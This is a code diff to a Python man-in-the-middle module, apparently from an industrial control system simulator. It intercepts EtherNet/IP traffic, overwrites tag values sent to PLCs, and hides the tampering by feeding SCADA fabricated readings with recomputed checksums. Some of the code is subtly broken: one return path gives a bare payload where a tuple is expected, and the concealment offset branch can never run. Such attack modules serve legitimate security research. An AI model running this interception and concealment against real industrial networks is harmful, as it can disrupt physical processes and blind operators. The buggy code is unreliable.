@@ -22,22 +22,116 @@ class ConcealmentMiTMNetfilterQueue(PacketQueue):
2222
2323 def __init__ (self , intermediate_yaml_path : Path , yaml_index : int , queue_number : int ):
2424 super ().__init__ (intermediate_yaml_path , yaml_index , queue_number )
25- self .attacked_tag = self .intermediate_attack ['tag' ]
25+ self .attacked_tags = self .intermediate_attack ['tags' ]
26+ self .logger .debug ('Attacked tags:' + str (self .attacked_tags ))
2627 self .scada_session_ids = []
2728 self .attack_session_ids = []
2829 self .concealment_type = None
2930
3031 if 'concealment_data' in self .intermediate_attack .keys ():
3132 if self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
3233 self .concealment_type = 'path'
33- self .concealment_data_pd = pd .read_csv (self .intermediate_attack ['concealment_data' ])
34+ self .concealment_data_pd = pd .read_csv (self .intermediate_attack ['concealment_data' ][ 'path' ] )
3435 elif self .intermediate_attack ['concealment_data' ]['type' ] == 'value' :
3536 self .concealment_type = 'value'
3637 else :
3738 raise ConcealmentError ("Concealment data type is invalid, supported values are 'concealment_value' or 'concealment_path " )
3839
3940 self .logger .debug ('Concealment type is: ' + str (self .concealment_type ))
4041
42+ def get_attack_tag (self , a_tag_name ):
43+ self .logger .debug ('attacked tags: ' + str (self .attacked_tags ))
44+ for tag in self .attacked_tags :
45+ if tag ['tag' ] == a_tag_name :
46+ return tag
47+
48+ def handle_attack (self , session , ip_payload ):
49+ # We support multi tag sending, using the same session. Context varies among tags
50+ for tag in self .intermediate_attack ['tags' ]:
51+ if session ['tag' ] == tag ['tag' ]:
52+ modified = True
53+ if 'value' in tag .keys ():
54+ self .logger .debug ('attacking with value' )
55+ return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
56+
57+ elif 'offset' in tag .keys ():
58+ self .logger .debug ('attacking with offset' )
59+ return translate_float_to_payload (
60+ translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
61+ ip_payload [Raw ].load ), modified
62+
63+ def handle_concealment (self , session , ip_payload ):
64+ if self .intermediate_attack ['concealment_data' ]['type' ] == 'value' or \
65+ self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
66+ for tag in self .intermediate_attack ['concealment_data' ]['concealment_value' ]:
67+ if session ['tag' ] == tag ['tag' ]:
68+ modified = True
69+ if self .intermediate_attack ['concealment_data' ]['type' ]:
70+ self .logger .debug ('Concealment value is: ' + str (tag ['value' ]))
71+ return translate_float_to_payload (tag ['value' ], ip_payload [Raw ].load )
72+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'offset' :
73+ self .logger .debug ('Concealment offset is: ' + str (tag ['offset' ]))
74+ return translate_float_to_payload (
75+ translate_payload_to_float (ip_payload [Raw ].load ) + tag ['offset' ],
76+ ip_payload [Raw ].load ), modified
77+ elif self .intermediate_attack ['concealment_data' ]['type' ] == 'path' :
78+ self .logger .debug ('Concealing to SCADA with path' )
79+ exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
80+ concealment_value = float (self .concealment_data_pd .loc [exp ][session ['tag' ]].values [- 1 ])
81+ self .logger .debug ('Concealing with value: ' + str (concealment_value ))
82+ modified = True
83+ return translate_float_to_payload (concealment_value , ip_payload [Raw ].load ), modified
84+
85+ def handle_enip_response (self , ip_payload ):
86+ this_session = int .from_bytes (ip_payload [Raw ].load [4 :8 ], sys .byteorder )
87+ this_context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
88+
89+ self .logger .debug ('ENIP response session: ' + str (this_session ))
90+ self .logger .debug ('ENIP response context: ' + str (this_context ))
91+
92+ # When target is SCADA, the concealment session will be stored in attack_session_ids
93+ if self .intermediate_attack ['target' ].lower () == 'scada' :
94+ for session in self .attack_session_ids :
95+ if session ['session' ] == this_session and session ['context' ] == this_context :
96+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
97+ return self .handle_concealment (session , ip_payload )
98+
99+ # Attack values to PLCs
100+ for session in self .attack_session_ids :
101+ if session ['session' ] == this_session and session ['context' ] == this_context :
102+ return self .handle_attack (session , ip_payload )
103+
104+ # Concealment values to SCADA
105+ for session in self .scada_session_ids :
106+ if session ['session' ] == this_session and session ['context' ] == this_context :
107+ self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
108+ return self .handle_concealment (session , ip_payload )
109+
110+ modified = False
111+ return ip_payload , modified
112+
113+ def handle_enip_request (self , ip_payload , offset ):
114+
115+ this_session = int .from_bytes (ip_payload [Raw ].load [4 :8 ], sys .byteorder )
116+ tag_name = ip_payload [Raw ].load .decode (encoding = 'latin-1' )[54 :offset ]
117+ context = int .from_bytes (ip_payload [Raw ].load [12 :20 ], sys .byteorder )
118+
119+ self .logger .debug ('this tag is: ' + str (tag_name ))
120+ this_tag = self .get_attack_tag (tag_name )
121+
122+ if this_tag :
123+ #self.logger.debug('Tag name: ' + str(tag_name))
124+ self .logger .debug ('Attack tag: ' + str (this_tag ['tag' ]))
125+ session_dict = {'session' : this_session , 'tag' : this_tag ['tag' ], 'context' : context }
126+ self .logger .debug ('session dict: ' + str (session_dict ))
127+
128+ if ip_payload [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
129+ self .logger .debug ('SCADA Req session' )
130+ self .scada_session_ids .append (session_dict )
131+ else :
132+ self .logger .debug ('PLC Req session' )
133+ self .attack_session_ids .append (session_dict )
134+
41135 def capture (self , packet ):
42136 """
43137 This function is the function that will run in the thread started in the setup function.
@@ -47,65 +141,34 @@ def capture(self, packet):
47141 packet and delete the original checksum.
48142 :param packet: The captured packet.
49143 """
144+
50145 try :
51146 p = IP (packet .get_payload ())
52147 if 'TCP' in p :
53- self .logger .debug ('TCP packet' )
54- if len (p ) == 118 :
55- this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
56- tag_name = p [Raw ].load .decode (encoding = 'latin-1' )[54 :57 ]
57- self .logger .debug ('Tag name: ' + str (tag_name ))
58- self .logger .debug ('Attack tag: ' + self .attacked_tag )
59- if self .attacked_tag == tag_name :
60- # This is a packet being sent to SCADA server, conceal the manipulation
61- if p [IP ].src == self .intermediate_yaml ['scada' ]['public_ip' ]:
62- self .logger .debug ('SCADA Req session' )
63- self .scada_session_ids .append (this_session )
64- else :
65- self .logger .debug ('PLC Req session' )
66- self .attack_session_ids .append (this_session )
67-
68148 if len (p ) == 102 :
69- this_session = int .from_bytes (p [Raw ].load [4 :8 ], sys .byteorder )
70-
71- if this_session in self .attack_session_ids :
72- #value = translate_payload_to_float(p[Raw].load)
73-
74- if 'value' in self .intermediate_attack .keys ():
75- p [Raw ].load = translate_float_to_payload (
76- self .intermediate_attack ['value' ], p [Raw ].load )
77- elif 'offset' in self .intermediate_attack .keys ():
78- p [Raw ].load = translate_float_to_payload (
79- translate_payload_to_float (p [Raw ].load ) + self .intermediate_attack [
80- 'offset' ], p [Raw ].load )
81-
149+ p [Raw ].load , modified = self .handle_enip_response (p )
150+ if modified :
82151 del p [IP ].chksum
83152 del p [TCP ].chksum
84-
85153 packet .set_payload (bytes (p ))
86- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
87-
88-
89- elif this_session in self .scada_session_ids :
90- self .logger .debug ('Concealing to SCADA: ' + str (this_session ))
91-
92- if self .concealment_type == 'path' :
93- exp = (self .concealment_data_pd ['iteration' ] == self .get_master_clock ())
94- concealment_value = float (self .concealment_data_pd .loc [exp ][self .attacked_tag ].values [- 1 ])
95- self .logger .debug ('Concealing with value: ' + str (concealment_value ))
96- p [Raw ].load = translate_float_to_payload (concealment_value , p [Raw ].load )
97- elif self .concealment_type == 'value' :
98- concealment_value = self .intermediate_attack ['concealment_data' ]['concealment_value' ]
99- self .logger .debug ('Concealment value is: ' + str (concealment_value ))
100- p [Raw ].load = translate_float_to_payload (concealment_value , p [Raw ].load )
101-
102- del p [IP ].chksum
103- del p [TCP ].chksum
104-
105- packet .set_payload (bytes (p ))
106- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
154+ packet .accept ()
155+ return
156+
157+ else :
158+ if len (p ) == 118 :
159+ self .logger .debug ('handling request 57' )
160+ self .handle_enip_request (p , 57 )
161+ self .logger .debug ('handled request' )
162+ elif len (p ) == 116 :
163+ self .logger .debug ('handling request 56' )
164+ self .handle_enip_request (p , 56 )
165+ self .logger .debug ('handled request' )
166+ else :
167+ packet .accept ()
168+ return
107169
108170 packet .accept ()
171+
109172 except Exception as exc :
110173 print (exc )
111174 if self .nfqueue :
0 commit comments